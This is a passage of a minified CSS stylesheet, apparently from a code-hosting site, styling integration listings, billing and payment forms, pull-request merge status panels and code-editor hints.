.octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen 